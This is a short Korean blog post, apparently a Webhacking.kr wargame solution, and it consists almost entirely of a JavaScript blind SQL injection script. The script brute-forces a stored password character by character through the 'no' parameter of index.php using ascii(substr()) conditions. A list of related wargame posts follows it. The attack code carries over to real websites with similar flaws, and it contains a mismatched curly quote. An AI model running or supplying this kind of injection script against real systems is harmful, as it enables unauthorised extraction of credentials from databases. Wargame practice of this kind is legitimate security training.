dictionary = "abcdefghijklmnopqrstuvwxyz0123456789_"; // 패스워드로 추측되는 문자열
password = ""; // 획득한 패스워드를 저장하기 위한 변수
function go(query,n) // 패스워드로 추측되는 문자의 아스키 코드=query , substr의 길이=n
{
query = "2 and ascii(substr(pw,”+n+",1))="+query;
// no 2의 패스워드를 한 바이트씩 대입하기 위한 변수
console.log(query); // 브루트포스 진행사항을 웹브라우저 콘솔에 출력
x = new XMLHttpRequest(); // request 전송을 위한 객체 생성
x.open("GET","index.php?no="+query,false); // no 파라미터에 query변수의 값 전송
x.send(null);
if(x.responseText.indexOf("True")!=-1) return "true"; // true문자열이 존재할경우 true 반환
else return "false";
}
for(i=1;i<=19;i++){ // 패스워드 컬럼 데이터의 길이만큼 반복문 실행
for(j=0;j<dictionary.length;j++){ // 대입할 문자열의 길이만큼 반복문 실행
ascii = dictionary.substr(j,1).charCodeAt(0); // 대입할 문자열을 아스키코드로 치환
if(go(ascii,i)=="true") { // go 함수에 변수 대입 후 true가 반환되었을 경우
password+=dictionary.substr(j,1); console.log("[*] "+password); break;
// 패스워드 변수에 획득한 문자 추가 후 콘솔창에 출력
}
}
'Hacking > Webhacking.kr(스포주의)' 카테고리의 다른 글
Webhacking.kr 35 (0) | 2016.01.15 |
---|---|
Webhacking.kr 45 (0) | 2016.01.15 |
Webhacking.kr 45 (0) | 2016.01.15 |
Webhacking.kr 30 (0) | 2016.01.15 |
Webhacking.kr 37 (0) | 2016.01.15 |